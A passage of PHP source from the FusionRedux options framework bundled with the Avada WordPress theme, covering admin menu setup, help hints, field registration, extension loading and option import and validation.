( $this->args['dev_mode'] != true ) { $this->args['update_notice'] = false; } $this->dev_mode_forced = true; $this->args['dev_mode'] = true; if ( isset( $this->args['forced_dev_mode_off'] ) && $this->args['forced_dev_mode_off'] == true ) { $this->dev_mode_forced = false; $this->args['dev_mode'] = false; } } // Auto create the page_slug appropriately if ( empty( $this->args['page_slug'] ) ) { if ( ! empty( $this->args['display_name'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['display_name'] ); } else if ( ! empty( $this->args['page_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['page_title'] ); } else if ( ! empty( $this->args['menu_title'] ) ) { $this->args['page_slug'] = sanitize_html_class( $this->args['menu_title'] ); } else { $this->args['page_slug'] = str_replace( '-', '_', $this->args['opt_name'] ); } } if ( isset( $this->args['customizer_only'] ) && $this->args['customizer_only'] == true ) { $this->args['menu_type'] = 'hidden'; $this->args['customizer'] = true; $this->args['admin_bar'] = false; $this->args['allow_sub_menu'] = false; } // Check if the Airplane Mode plugin is installed if ( class_exists( 'Airplane_Mode_Core' ) ) { $airplane = Airplane_Mode_Core::getInstance(); if ( method_exists( $airplane, 'enabled' ) ) { if ( $airplane->enabled() ) { $this->args['use_cdn'] = false; } } else if ( $airplane->check_status() == 'on' ) { $this->args['use_cdn'] = false; } } } /** * Class Add Sub Menu Function, creates options submenu in Wordpress admin area. * * @since 3.1.9 * @access private * @return void */ private function add_submenu( $page_parent, $page_title, $menu_title, $page_permissions, $page_slug ) { global $submenu; // Just in case. One never knows. $page_parent = strtolower( $page_parent ); $test = array( 'index.php' => 'dashboard', 'edit.php' => 'posts', 'upload.php' => 'media', 'link-manager.php' => 'links', 'edit.php?post_type=page' => 'pages', 'edit-comments.php' => 'comments', 'themes.php' => 'theme', 'plugins.php' => 'plugins', 'users.php' => 'users', 'tools.php' => 'management', 'options-general.php' => 'options', ); if ( isset ( $test[ $page_parent ] ) ) { $function = 'add_' . $test[ $page_parent ] . '_page'; $this->page = $function ( $page_title, $menu_title, $page_permissions, $page_slug, array( $this, 'generate_panel' ) ); } else { // Network settings and Post type menus. These do not have // wrappers and need to be appened to using add_submenu_page. // Okay, since we've left the post type menu appending // as default, we need to validate it, so anything that // isn't post_type= doesn't get through and mess // things up. $addMenu = false; if ( 'settings.php' != $page_parent ) { // Establish the needle $needle = '?post_type='; // Check if it exists in the page_parent (how I miss instr) $needlePos = strrpos( $page_parent, $needle ); // It's there, so... if ( $needlePos > 0 ) { // Get the post type. $postType = substr( $page_parent, $needlePos + strlen( $needle ) ); // Ensure it exists. if ( post_type_exists( $postType ) ) { // Set flag to add the menu page $addMenu = true; } // custom menu } elseif ( isset ( $submenu[ $this->args['page_parent'] ] ) ) { $addMenu = true; } else { global $menu; foreach ( $menu as $menupriority => $menuitem ) { $needle_menu_slug = isset ( $menuitem ) ? $menuitem[2] : false; if ( $needle_menu_slug != false ) { // check if the current needle menu equals page_parent if ( strcasecmp( $needle_menu_slug, $page_parent ) == 0 ) { // found an empty parent menu $addMenu = true; } } } } } else { // The page_parent was settings.php, so set menu add // flag to true. $addMenu = true; } // Add the submenu if it's permitted. if ( true == $addMenu ) { // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permissions, $page_slug, array( &$this, 'generate_panel' ) ); } } } /** * Class Options Page Function, creates main options page. * * @since 1.0.0 * @access public * @return void */ public function _options_page() { if ( $this->args['menu_type'] == 'hidden' ) { // No menu to add! } else if ( $this->args['menu_type'] == 'submenu' ) { $this->add_submenu( $this->args['page_parent'], $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'] ); } else { // Theme-Check notice is displayed for WP.org theme devs, informing them to NOT use this. $this->page = call_user_func( 'add_menu_page', $this->args['page_title'], $this->args['menu_title'], $this->args['page_permissions'], $this->args['page_slug'], array( &$this, 'generate_panel' ), $this->args['menu_icon'], $this->args['page_priority'] ); if ( true === $this->args['allow_sub_menu'] ) { foreach ( $this->sections as $k => $section ) { $canBeSubSection = ( $k > 0 && ( ! isset ( $this->sections[ ( $k ) ]['type'] ) || $this->sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! isset ( $section['title'] ) || ( $canBeSubSection && ( isset ( $section['subsection'] ) && $section['subsection'] == true ) ) ) { continue; } if ( isset ( $section['submenu'] ) && $section['submenu'] == false ) { continue; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { continue; } if ( isset ( $section['hidden'] ) && $section['hidden'] == true ) { continue; } if ( isset( $section['permissions'] ) && ! current_user_can( $section['permissions'] ) ) { continue; } // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme. call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['title'], $this->args['page_permissions'], $this->args['page_slug'] . '&tab=' . $k, //create_function( '$a', "return null;" ) '__return_null' ); } // Remove parent submenu item instead of adding null item. remove_submenu_page( $this->args['page_slug'], $this->args['page_slug'] ); } } add_action( "load-{$this->page}", array( &$this, '_load_page' ) ); } /** * Add admin bar menu * * @since 3.1.5.16 * @access public * @global $menu , $submenu, $wp_admin_bar * @return void */ public function _admin_bar_add_menu() { global $menu, $submenu, $wp_admin_bar; $ct = wp_get_theme(); $theme_data = $ct; if ( ! is_super_admin() || ! is_admin_bar_showing() || ! $this->args['admin_bar'] || $this->args['menu_type'] == 'hidden' ) { return; } if ( $menu ) { foreach ( $menu as $menu_item ) { if ( isset ( $menu_item[2] ) && $menu_item[2] === $this->args["page_slug"] ) { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $menu_item[0] : '' . $menu_item[0]; $nodeargs = array( 'id' => $menu_item[2], 'title' => $title, 'href' => admin_url( 'admin.php?page=' . $menu_item[2] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); break; } } if ( isset ( $submenu[ $this->args["page_slug"] ] ) && is_array( $submenu[ $this->args["page_slug"] ] ) ) { foreach ( $submenu[ $this->args["page_slug"] ] as $index => $fusionredux_options_submenu ) { $subnodeargs = array( 'id' => $this->args["page_slug"] . '_' . $index, 'title' => $fusionredux_options_submenu[0], 'parent' => $this->args["page_slug"], 'href' => admin_url( 'admin.php?page=' . $fusionredux_options_submenu[2] ), ); $wp_admin_bar->add_node( $subnodeargs ); } } // Let's deal with external links if ( isset ( $this->args['admin_bar_links'] ) ) { if (!$this->args['dev_mode'] && $this->omit_admin_items) { return; } // Group for Main Root Menu (External Group) $wp_admin_bar->add_node( array( 'id' => $this->args["page_slug"] . '-external', 'parent' => $this->args["page_slug"], 'group' => true, 'meta' => array( 'class' => 'ab-sub-secondary' ) ) ); // Add Child Menus to External Group Menu foreach ( $this->args['admin_bar_links'] as $link ) { if ( ! isset ( $link['id'] ) ) { $link['id'] = $this->args["page_slug"] . '-sub-' . sanitize_html_class( $link['title'] ); } $externalnodeargs = array( 'id' => $link['id'], 'title' => $link['title'], 'parent' => $this->args["page_slug"] . '-external', 'href' => $link['href'], 'meta' => array( 'target' => '_blank' ) ); $wp_admin_bar->add_node( $externalnodeargs ); } } } else { // Fetch the title $title = empty ( $this->args['admin_bar_icon'] ) ? $this->args['menu_title'] : '' . $this->args['menu_title']; $nodeargs = array( 'id' => $this->args["page_slug"], 'title' => $title, // $theme_data->get( 'Name' ) . " " . __( 'Options', 'fusionredux-framework-demo' ), 'href' => admin_url( 'admin.php?page=' . $this->args["page_slug"] ), 'meta' => array() ); $wp_admin_bar->add_node( $nodeargs ); } } // _admin_bar_add_menu() /** * Enqueue CSS/JS for options page * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue() { require_once wp_normalize_path( dirname( __FILE__ ) . '/core/enqueue.php'); $enqueue = new fusionreduxCoreEnqueue ( $this ); $enqueue->init(); } // _enqueue() /** * Show page help * * @since 1.0.0 * @access public * @return void */ public function _load_page() { // Do admin head action for this page add_action( 'admin_head', array( &$this, 'admin_head' ) ); // Do admin footer text hook add_filter( 'admin_footer_text', array( &$this, 'admin_footer_text' ) ); $screen = get_current_screen(); if ( is_array( $this->args['help_tabs'] ) ) { foreach ( $this->args['help_tabs'] as $tab ) { $screen->add_help_tab( $tab ); } } // If hint argument is set, display hint tab if ( true == $this->show_hints ) { global $current_user; // Users enable/disable hint choice $hint_status = get_user_meta( $current_user->ID, 'ignore_hints' ) ? get_user_meta( $current_user->ID, 'ignore_hints', true ) : 'true'; // current page parameters $curPage = $_GET['page']; $curTab = '0'; if ( isset ( $_GET['tab'] ) ) { $curTab = esc_attr($_GET['tab']); } // Default url values for enabling hints. $dismiss = 'true'; $s = __( 'Enable', 'Avada' ); // Values for disabling hints. if ( 'true' == $hint_status ) { $dismiss = 'false'; $s = __( 'Disable', 'Avada' ); } // Make URL $url = '' . $s . ' hints'; $event = __( 'moving the mouse over', 'Avada' ); if ( 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $event = __( 'clicking', 'Avada' ); } // Construct message $msg = sprintf( __( 'Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.', 'Avada' ), $event, strtolower( $s ) ) . '

    ' . $url; // Construct hint tab $tab = array( 'id' => 'fusionredux-hint-tab', 'title' => __( 'Hints', 'Avada' ), 'content' => '

    ' . $msg . '

    ' ); $screen->add_help_tab( $tab ); } // Sidebar text if ( $this->args['help_sidebar'] != '' ) { // Specify users text from arguments $screen->set_help_sidebar( $this->args['help_sidebar'] ); } else { // If sidebar text is empty and hints are active, display text // about hints. if ( true == $this->show_hints ) { $screen->set_help_sidebar( '

    FusionRedux Framework

    Hint Tooltip Preferences

    ' ); } } /** * action 'fusionredux-load-page-{opt_name}' * * @deprecated * * @param object $screen WP_Screen */ do_action( "fusionredux-load-page-{$this->args['opt_name']}", $screen ); // REMOVE /** * action 'fusionredux/page/{opt_name}/load' * * @param object $screen WP_Screen */ do_action( "fusionredux/page/{$this->args['opt_name']}/load", $screen ); } // _load_page() /** * Do action fusionredux-admin-head for options page * * @since 1.0.0 * @access public * @return void */ public function admin_head() { /** * action 'fusionredux-admin-head-{opt_name}' * * @deprecated * * @param object $object FusionReduxFramework */ do_action( "fusionredux-admin-head-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'fusionredux/page/{opt_name}/header' * * @param object $object FusionReduxFramework */ do_action( "fusionredux/page/{$this->args['opt_name']}/header", $this ); } // admin_head() /** * Return footer text * * @since 2.0.0 * @access public * @return string $this->args['footer_credit'] */ public function admin_footer_text() { return $this->args['footer_credit']; } // admin_footer_text() /** * Return default output string for use in panel * * @since 3.1.5 * @access public * @return string default_output */ private function get_default_output_string( $field ) { $default_output = ""; if ( ! isset ( $field['default'] ) ) { $field['default'] = ""; } if ( ! is_array( $field['default'] ) ) { if ( ! empty ( $field['options'][ $field['default'] ] ) ) { if ( ! empty ( $field['options'][ $field['default'] ]['alt'] ) ) { $default_output .= $field['options'][ $field['default'] ]['alt'] . ', '; } else { // TODO: This serialize fix may not be the best solution. Look into it. PHP 5.4 error without serialize if ( ! is_array( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else { $default_output .= serialize( $field['options'][ $field['default'] ] ) . ", "; } } } else if ( ! empty ( $field['options'][ $field['default'] ] ) ) { $default_output .= $field['options'][ $field['default'] ] . ", "; } else if ( ! empty ( $field['default'] ) ) { if ( $field['type'] == 'switch' && isset ( $field['on'] ) && isset ( $field['off'] ) ) { $default_output .= ( $field['default'] == 1 ? $field['on'] : $field['off'] ) . ', '; } else { $default_output .= $field['default'] . ', '; } } } else { foreach ( $field['default'] as $defaultk => $defaultv ) { if ( ! empty ( $field['options'][ $defaultv ]['alt'] ) ) { $default_output .= $field['options'][ $defaultv ]['alt'] . ', '; } else if ( ! empty ( $field['options'][ $defaultv ] ) ) { $default_output .= $field['options'][ $defaultv ] . ", "; } else if ( ! empty ( $field['options'][ $defaultk ] ) ) { $default_output .= $field['options'][ $defaultk ] . ", "; } else if ( ! empty ( $defaultv ) ) { $default_output .= $defaultv . ', '; } } } if ( ! empty ( $default_output ) ) { $default_output = __( 'Default', 'Avada' ) . ": " . substr( $default_output, 0, - 2 ); } if ( ! empty ( $default_output ) ) { $default_output = '' . $default_output . '
    '; } return $default_output; } // get_default_output_string() public function get_header_html( $field ) { global $current_user; // Set to empty string to avoid wanrings. $hint = ''; $th = ""; if ( isset ( $field['title'] ) && isset ( $field['type'] ) && $field['type'] !== "info" && $field['type'] !== "section" ) { $default_mark = ( ! empty ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] == $field['default'] && ! empty ( $this->args['default_mark'] ) && isset ( $field['default'] ) ) ? $this->args['default_mark'] : ''; // If a hint is specified in the field, process it. if ( isset ( $field['hint'] ) && ! '' == $field['hint'] ) { // Set show_hints flag to true, so helptab will be displayed. $this->show_hints = true; $hint = apply_filters( 'fusionredux/hints/html', $hint, $field, $this->args ); // Get user pref for displaying hints. $metaVal = get_user_meta( $current_user->ID, 'ignore_hints', true ); if ( 'true' == $metaVal || empty ( $metaVal ) && empty( $hint ) ) { // Set hand cursor for clickable hints $pointer = ''; if ( isset ( $this->args['hints']['tip_effect']['show']['event'] ) && 'click' == $this->args['hints']['tip_effect']['show']['event'] ) { $pointer = 'pointer'; } $size = '16px'; if ( 'large' == $this->args['hints']['icon_size'] ) { $size = '18px'; } // In case docs are ignored. $titleParam = isset ( $field['hint']['title'] ) ? $field['hint']['title'] : ''; $contentParam = isset ( $field['hint']['content'] ) ? $field['hint']['content'] : ''; $hint_color = isset ( $this->args['hints']['icon_color'] ) ? $this->args['hints']['icon_color'] : '#d3d3d3'; // Set hint html with appropriate position css $hint = '
     
    '; } } if ( ! empty ( $field['title'] ) ) { if ( 'left' == $this->args['hints']['icon_position'] ) { $th = $hint . $field['title'] . $default_mark . ""; } else { $th = $field['title'] . $default_mark . "" . $hint; } } if ( isset ( $field['subtitle'] ) ) { $th .= '' . $field['subtitle'] . ''; } } if ( ! empty ( $th ) ) { $th = '
    ' . $th . '
    '; } $filter_arr = array( 'editor', 'ace_editor', 'info', 'section', 'repeater', 'color_scheme', 'social_profiles', 'css_layout' ); if ( $this->args['default_show'] == true && isset ( $field['default'] ) && isset ( $this->options[ $field['id'] ] ) && $this->options[ $field['id'] ] != $field['default'] && ! in_array( $field['type'], $filter_arr ) ) { $th .= $this->get_default_output_string( $field ); } return $th; } /** * Register Option for use * * @since 1.0.0 * @access public * @return void */ public function _register_settings() { // TODO - REMOVE // Not used by new sample-config, but in here for legacy builds // This is bad and can break things. Hehe. if ( ! function_exists( 'wp_get_current_user' ) ) { require_once wp_normalize_path( ABSPATH . "wp-includes/pluggable.php" ); } if ( $this->args['options_api'] == true ) { register_setting( $this->args['opt_name'] . '_group', $this->args['opt_name'], array( $this, '_validate_options' ) ); } if ( is_null( $this->sections ) ) { return; } if ( empty( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } $runUpdate = false; foreach ( $this->sections as $k => $section ) { if ( isset ( $section['type'] ) && $section['type'] == 'divide' ) { continue; } $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } // DOVY! Replace $k with $section['id'] when ready /** * filter 'fusionredux-section-{index}-modifier-{opt_name}' * * @param array $section section configuration */ $section = apply_filters( "fusionredux-section-{$k}-modifier-{$this->args['opt_name']}", $section ); /** * filter 'fusionredux/options/{opt_name}/section/{section.id}' * * @param array $section section configuration */ if ( isset ( $section['id'] ) ) { $section = apply_filters( "fusionredux/options/{$this->args['opt_name']}/section/{$section['id']}", $section ); } if ( empty ( $section ) ) { unset ( $this->sections[ $k ] ); continue; } if ( ! isset ( $section['title'] ) ) { $section['title'] = ""; } if ( isset ( $section['customizer_only'] ) && $section['customizer_only'] == true ) { $section['panel'] = false; $this->sections[ $k ] = $section; } $heading = isset ( $section['heading'] ) ? $section['heading'] : $section['title']; if ( isset ( $section['permissions'] ) ) { if ( ! current_user_can( $section['permissions'] ) ) { $this->hidden_perm_sections[] = $section['title']; foreach ( $section['fields'] as $num => $field_data ) { $field_type = $field_data['type']; if ( $field_type != 'section' || $field_type != 'divide' || $field_type != 'info' || $field_type != 'raw' ) { $field_id = $field_data['id']; $default = isset ( $this->options_defaults[ $field_id ] ) ? $this->options_defaults[ $field_id ] : ''; $data = isset ( $this->options[ $field_id ] ) ? $this->options[ $field_id ] : $default; $this->hidden_perm_fields[ $field_id ] = $data; } } continue; } } if ( ! $display || ! function_exists( 'add_settings_section' ) ) { $this->no_panel_section[ $k ] = $section; } else { add_settings_section( $this->args['opt_name'] . $k . '_section', $heading, array( &$this, '_section_desc' ), $this->args['opt_name'] . $k . '_section_group' ); } $sectionIndent = false; if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fieldk => $field ) { if ( ! isset ( $field['type'] ) ) { continue; // You need a type! } if ( $field['type'] == "info" && isset( $field['raw_html'] ) && $field['raw_html'] == true ) { $field['type'] = "raw"; $field['content'] = $field['desc']; $field['desc'] = ""; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } else if ( $field['type'] == "info" ) { if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } } if ( $field['type'] == "raw" ) { if ( isset( $field['align'] ) ) { $field['full_width'] = $field['align'] ? false : true; unset( $field['align'] ); } else if ( ! isset( $field['full_width'] ) ) { $field['full_width'] = true; } $this->sections[ $k ]['fields'][ $fieldk ] = $field; } /** * filter 'fusionredux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "fusionredux/options/{$this->args['opt_name']}/field/{$field['id']}/register", $field ); $this->field_types[ $field['type'] ] = isset ( $this->field_types[ $field['type'] ] ) ? $this->field_types[ $field['type'] ] : array(); $this->field_sections[ $field['type'] ][ $field['id'] ] = $k; $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( isset ( $field['customizer_only'] ) && $field['customizer_only'] == true ) { $display = false; } if ( isset ( $section['customizer'] ) ) { $field['customizer'] = $section['customizer']; $this->sections[ $k ]['fields'][ $fieldk ] = $field; } if ( isset ( $field['permissions'] ) ) { if ( ! current_user_can( $field['permissions'] ) ) { $data = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : $this->options_defaults[ $field['id'] ]; $this->hidden_perm_fields[ $field['id'] ] = $data; continue; } } if ( ! isset ( $field['id'] ) ) { echo '

    No field ID is set.

    ';
    								print_r( $field );
    								echo "

    "; continue; } if ( isset ( $field['type'] ) && $field['type'] == "section" ) { if ( isset ( $field['indent'] ) && $field['indent'] == true ) { $sectionIndent = true; } else { $sectionIndent = false; } } if ( isset ( $field['type'] ) && $field['type'] == "info" && $sectionIndent ) { $field['indent'] = $sectionIndent; } $th = $this->get_header_html( $field ); $field['name'] = $this->args['opt_name'] . '[' . $field['id'] . ']'; // Set the default value if present $this->options_defaults[ $field['id'] ] = isset ( $this->options_defaults[ $field['id'] ] ) ? $this->options_defaults[ $field['id'] ] : ''; // Set the defaults to the value if not present $doUpdate = false; // Check fields for values in the default parameter if ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['default'] ) ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['default']; $doUpdate = true; // Check fields that hae no default value, but an options value with settings to // be saved by default } elseif ( ! isset ( $this->options[ $field['id'] ] ) && isset ( $field['options'] ) ) { // If sorter field, check for options as save them as defaults if ( $field['type'] == 'sorter' || $field['type'] == 'sortable' ) { $this->options_defaults[ $field['id'] ] = $this->options[ $field['id'] ] = $field['options']; $doUpdate = true; } } // CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( $field['type'] == "media" ) { if ( isset ( $this->options[ $field['id'] ]['id'] ) && isset ( $this->options[ $field['id'] ]['url'] ) && ! empty ( $this->options[ $field['id'] ]['url'] ) && strpos( $this->options[ $field['id'] ]['url'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['url'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "background" ) { if ( isset ( $this->options[ $field['id'] ]['media']['id'] ) && isset ( $this->options[ $field['id'] ]['background-image'] ) && ! empty ( $this->options[ $field['id'] ]['background-image'] ) && strpos( $this->options[ $field['id'] ]['background-image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { $data = wp_get_attachment_url( $this->options[ $field['id'] ]['media']['id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ]['background-image'] = $data; $data = wp_get_attachment_image_src( $this->options[ $field['id'] ]['media']['id'], array( 150, 150 ) ); $this->options[ $field['id'] ]['media']['thumbnail'] = $data[0]; $doUpdate = true; } } } if ( $field['type'] == "slides" ) { if ( isset ( $this->options[ $field['id'] ] ) && is_array( $this->options[ $field['id'] ] ) && isset ( $this->options[ $field['id'] ][0]['attachment_id'] ) && isset ( $this->options[ $field['id'] ][0]['image'] ) && ! empty ( $this->options[ $field['id'] ][0]['image'] ) && strpos( $this->options[ $field['id'] ][0]['image'], str_replace( 'http://', '', WP_CONTENT_URL ) ) === false ) { foreach ( $this->options[ $field['id'] ] as $key => $val ) { $data = wp_get_attachment_url( $val['attachment_id'] ); if ( isset ( $data ) && ! empty ( $data ) ) { $this->options[ $field['id'] ][ $key ]['image'] = $data; $data = wp_get_attachment_image_src( $val['attachment_id'], array( 150, 150 ) ); $this->options[ $field['id'] ][ $key ]['thumb'] = $data[0]; $doUpdate = true; } } } } // END -> CORRECT URLS if media URLs are wrong, but attachment IDs are present. if ( true == $doUpdate && ! isset ( $this->never_save_to_db ) ) { if ( $this->args['save_defaults'] ) { // Only save that to the DB if allowed to $runUpdate = true; } // elseif($this->saved != '' && $this->saved != false) { // $runUpdate = true; //} } if ( ! isset ( $field['class'] ) ) { // No errors please $field['class'] = ""; } $id = $field['id']; /** * filter 'fusionredux-field-{field.id}modifier-{opt_name}' * * @deprecated * * @param array $field field config */ $field = apply_filters( "fusionredux-field-{$field['id']}modifier-{$this->args['opt_name']}", $field ); // REMOVE LATER /** * filter 'fusionredux/options/{opt_name}/field/{field.id}' * * @param array $field field config */ $field = apply_filters( "fusionredux/options/{$this->args['opt_name']}/field/{$field['id']}", $field ); if ( empty ( $field ) || ! $field || $field == false ) { unset ( $this->sections[ $k ]['fields'][ $fieldk ] ); continue; } if ( ! empty ( $this->folds[ $field['id'] ]['parent'] ) ) { // This has some fold items, hide it by default $field['class'] .= " fold"; } if ( ! empty ( $this->folds[ $field['id'] ]['children'] ) ) { // Sets the values you shoe fold children on $field['class'] .= " foldParent"; } if ( isset ( $field['unit'] ) && ! isset ( $field['units'] ) ) { $field['units'] = $field['unit']; unset ( $field['unit'] ); } $this->sections[ $k ]['fields'][ $fieldk ] = $field; if ( isset ( $this->args['display_source'] ) ) { $th .= ''; $th .= '
    View Source'; } /** * action 'fusionredux/options/{opt_name}/field/field.type}/register' */ do_action( "fusionredux/options/{$this->args['opt_name']}/field/{$field['type']}/register", $field ); $this->check_dependencies( $field ); $this->field_head[ $field['id'] ] = $th; if ( ! $display || isset ( $this->no_panel_section[ $k ] ) ) { $this->no_panel[] = $field['id']; } else { if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $field['label_for'] = 'fusionredux_hide_field'; } if ( $this->args['options_api'] == true ) { add_settings_field( "{$fieldk}_field", $th, array( &$this, '_field_input' ), "{$this->args['opt_name']}{$k}_section_group", "{$this->args['opt_name']}{$k}_section", $field ); } } } } } /** * action 'fusionredux-register-settings-{opt_name}' * * @deprecated */ do_action( "fusionredux-register-settings-{$this->args['opt_name']}" ); // REMOVE /** * action 'fusionredux/options/{opt_name}/register' * * @param array $option sections */ do_action( "fusionredux/options/{$this->args['opt_name']}/register", $this->sections ); if ( $runUpdate && ! isset ( $this->never_save_to_db ) ) { // Always update the DB with new fields $this->set_options( $this->options ); } } // _register_settings() /** * Register Extensions for use * * @since 3.0.0 * @access public * @return void */ private function _register_extensions() { $path = dirname( __FILE__ ) . '/inc/extensions/'; $folders = scandir( $path, 1 ); /** * action 'fusionredux/extensions/before' * * @param object $object FusionReduxFramework */ do_action( "fusionredux/extensions/before", $this ); /** * action 'fusionredux/extensions/{opt_name}/before' * * @param object $object FusionReduxFramework */ do_action( "fusionredux/extensions/{$this->args['opt_name']}/before", $this ); if ( isset( $this->old_opt_name ) ) { do_action( "fusionredux/extensions/{$this->old_opt_name}/before", $this ); } foreach ( $folders as $folder ) { if ( $folder === '.' || $folder === '..' || ! is_dir( $path . $folder ) || substr( $folder, 0, 1 ) === '.' || substr( $folder, 0, 1 ) === '@' || substr( $folder, 0, 4 ) === '_vti' ) { continue; } $extension_class = 'FusionReduxFramework_Extension_' . $folder; /** * filter 'fusionredux-extensionclass-load' * * @deprecated * * @param string $path extension class file path. * @param string $extension_class extension class name. */ $class_file = apply_filters( "fusionredux-extensionclass-load", "$path/$folder/extension_{$folder}.php", $extension_class ); // REMOVE LATER /** * filter 'fusionredux/extension/{opt_name}/{folder}' * * @param string $path extension class file path. * @param string $extension_class extension class name. */ $class_file = apply_filters( "fusionredux/extension/{$this->args['opt_name']}/$folder", "$path/$folder/extension_{$folder}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once wp_normalize_path( $class_file ); $this->extensions[ $folder ] = new $extension_class ( $this ); } } } /** * action 'fusionredux-register-extensions-{opt_name}' * * @deprecated * * @param object $object FusionReduxFramework */ do_action( "fusionredux-register-extensions-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'fusionredux/extensions/{opt_name}' * * @param object $object FusionReduxFramework */ do_action( "fusionredux/extensions/{$this->args['opt_name']}", $this ); if ( isset( $this->old_opt_name ) && ! empty( $this->old_opt_name ) ) { do_action( "fusionredux/extensions/{$this->old_opt_name}", $this ); } } private function get_transients() { if ( ! isset ( $this->transients ) ) { $this->transients = get_option( $this->args['opt_name'] . '-transients', array() ); $this->transients_check = $this->transients; } } public function set_transients() { if ( ! isset ( $this->transients ) || ! isset ( $this->transients_check ) || $this->transients != $this->transients_check ) { update_option( $this->args['opt_name'] . '-transients', $this->transients ); $this->transients_check = $this->transients; } } /** * Validate the Options options before insertion * * @since 3.0.0 * @access public * * @param array $plugin_options The options array * * @return array|mixed|string|void */ public function _validate_options( $plugin_options ) { if ( isset ( $this->validation_ran ) ) { return $plugin_options; } $this->validation_ran = 1; // Save the values not in the panel if ( isset ( $plugin_options['fusionredux-no_panel'] ) ) { $keys = explode( '|', $plugin_options['fusionredux-no_panel'] ); foreach ( $keys as $key ) { $plugin_options[ $key ] = $this->options[ $key ]; } if ( isset ( $plugin_options['fusionredux-no_panel'] ) ) { unset ( $plugin_options['fusionredux-no_panel'] ); } } if ( ! empty ( $this->hidden_perm_fields ) && is_array( $this->hidden_perm_fields ) ) { foreach ( $this->hidden_perm_fields as $id => $data ) { $plugin_options[ $id ] = $data; } } if ( $plugin_options == $this->options ) { return $plugin_options; } $time = time(); // Sets last saved time $this->transients['last_save'] = $time; // Import if ( ( isset( $plugin_options['import_code'] ) && ! empty( $plugin_options['import_code'] ) ) || ( isset( $plugin_options['import_link'] ) && ! empty( $plugin_options['import_link'] ) ) ) { $this->transients['last_save_mode'] = "import"; // Last save mode $this->transients['last_import'] = $time; if ( $plugin_options['import_code'] != '' ) { $import = $plugin_options['import_code']; } elseif ( $plugin_options['import_link'] != '' ) { $import = wp_remote_retrieve_body( wp_remote_get( $plugin_options['import_link'] ) ); } if ( ! empty ( $import ) ) { $imported_options = json_decode( $import, true ); } if ( ! empty ( $imported_options ) && is_array( $imported_options ) && ( ( isset ( $imported_options['fusionredux-backup'] ) && $imported_options['fusionredux-backup'] == '1' ) || ( isset ( $imported_options['avadaredux-backup'] ) && $imported_options['avadaredux-backup'] == '1' ) ) ) { $this->transients['changed_values'] = array(); foreach ( $plugin_options as $key => $value ) { if ( isset ( $imported_options[ $key ] ) && $imported_options[ $key ] != $value ) { $this->transients['changed_values'][ $key ] = $value; $plugin_options[ $key ] = $value; } } /** * action 'fusionredux/options/{opt_name}/import' * * @param &array [&$plugin_options, fusionredux_options] */ do_action_ref_array( "fusionredux/options/{$this->args['opt_name']}/import", array( &$plugin_options, $imported_options, $this->transients['changed_values'] ) ); setcookie( 'fusionredux_current_tab', '', 1, '/', $time + 1000, "/" ); $_COOKIE['fusionredux_current_tab'] = 1; unset ( $plugin_options['defaults'], $plugin_options['compiler'], $plugin_options['import'], $plugin_options['import_code'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' || $this->args['database'] == 'network' ) { $this->set_options( $plugin_options ); return; } $plugin_options = wp_parse_args( $imported_options, $plugin_options ); $this->set_transients(); // Update the transients return $plugin_options; } } // Reset all to defaults if ( ! empty ( $plugin_options['defaults'] ) ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } /** * apply_filters 'fusionredux/validate/{opt_name}/defaults' * * @param array $options */ $plugin_options = apply_filters( "fusionredux/validate/{$this->args['opt_name']}/defaults", $this->options_defaults ); $this->transients['changed_values'] = array(); if ( empty ( $this->options ) ) { $this->options = $this->options_defaults; } foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != 